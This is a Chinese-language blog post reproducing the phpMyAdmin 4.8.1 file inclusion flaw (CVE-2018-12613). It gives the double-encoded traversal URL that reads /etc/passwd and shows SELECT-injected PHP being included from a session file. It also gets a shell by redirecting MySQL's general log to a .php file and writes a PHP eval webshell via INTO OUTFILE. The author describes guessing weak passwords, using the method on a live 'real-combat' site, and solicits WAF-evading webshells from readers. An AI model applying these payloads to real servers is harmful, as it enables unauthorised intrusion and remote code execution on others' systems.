码迷,mamicode.com
首页 > Web开发 > 详细

18.phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

时间:2018-11-02 17:53:53      阅读:708      评论:0      收藏:0      [点我收藏+]

标签:glob   div   基于   lib   sel   cookie   .com   实战   安全性   

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,

通过二次编码即可绕过检查,造成远程文件包含漏洞。

受影响版本:

phpMyAdmin 4.8.0和4.8.1受到影响。

漏洞复现:

本次实验环境基于docker搭建,启动环境,使用一波phpmyadmin的弱口令,像

root/root,root/123456,root/toor....登进后台

不得不说phpmyadmin自从2.x版本有个前台登陆绕过后,到现在前台还没出现过其他的漏洞,

希望广大伙伴多多挖掘呀!!

使用弱口令 test/test ,成功登陆phpmyadmin后台:

技术分享图片

访问 http://192.168.0.132:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

可见/etc/passwd被读取,说明文件包含漏洞存在:

技术分享图片

利用方式也比较简单,可以执行一下  SELECT ‘<?php phpinfo()?>‘; ,然后查看自己的sessionid(cookie中phpMyAdmin的值):

技术分享图片

这样对应的SESSION文件为 /tmp/sess_sessionid

然后在网址中包含session文件即可:

技术分享图片

可以看到顺利执行了phpinfo();

可想而知如果我们select一个php一句话木马,用菜刀连接,整站就可以被我们控制。

.......

实战演练:

到phpmyadmin后台后,getshell方法还很多,比如利用改变写入的日志的路径,写入我们的一句话木马,

首先呢,介绍两个MySQL全局变量(general_log、general_log file)

  •     general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
  •     general log file 指的是日志的保存路径

mysql 5.0版本以上会创建日志文件,修改日志的全局变量,也可以getshell。但是也要对生成的日志有可读可写的权限。

查看日志状态:

show global variables like %secure%;

技术分享图片

general_log=ON 时,所执行的sql语句都会出现在 /var/lib/mysql/1e164993aaf5.log 文件

那么,如果把 general_log_file 的路径修改为 /var/lib/mysql/1.php,那么所执行的sql语句就会保存在

1.php中,如果我们执行一个php小马,就可以getshell

技术分享图片

技术分享图片

如果输入不存在的路径时:

技术分享图片

或许我们可以利用这个来探测目录结构,如果路径正确的话

这样的话在相应的目录下就会生成一个1.php,由于我们是实战,所以无法截图...

再次查看日志的状态:

技术分享图片

OK!!!满足要求!

将一句话木马写入1.php文件,既然是日志文件,我们select查询自然也会被保存在日志里面:

我们构造 :select ‘<?php phpinfo();?>‘

技术分享图片

这时候相当于我们把 <?php phpinfo();?> 写入到日志 1.php中,我们尝试访问

日志文件:1.php

技术分享图片

成功getshell!!!

-------------------------------------------------------

还有一种方法就是一句话木马的写入:

select <?php eval($_POST[cmd]); ?> into outfile D:/phpStudy/www/1.php;

当然,前提是你得知道网站的绝对路径,方法也有很多,比如通过报错获取路径,通过phpinfo.php等等

但在新版的mysql中,这句话并没有运行成功,应为mysql新特性secure_file_priv会对读写文件产生影响,

该参数用来限制导入导出,可以查看该参数:

技术分享图片

当secure_file_priv为NULL时,表示限制mysql不允许导入导出。所以爆出错误

要想使得该语句导出成功,则需要在mysql文件夹下修改my.ini 文件,

在[mysqld]内加入secure_file_priv ="" 即可

当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

此时就可以执行导出命令,这里不再复现

 

其实phpmyadmin的安全性一直在提高

比如博主昨天发现一个站,mysql操作已经安装上了waf,会拒绝执行危险函数,像

eval(),assert()....并且数据库的sql执行当见到 ; 号,会自动认为语句结束,这对我们构造

过狗的马造成了困扰,如果有phpmyadmin过狗的好马,一点更要私聊博主哦!

 

18.phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

标签:glob   div   基于   lib   sel   cookie   .com   实战   安全性   

原文地址:https://www.cnblogs.com/bmjoker/p/9897436.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!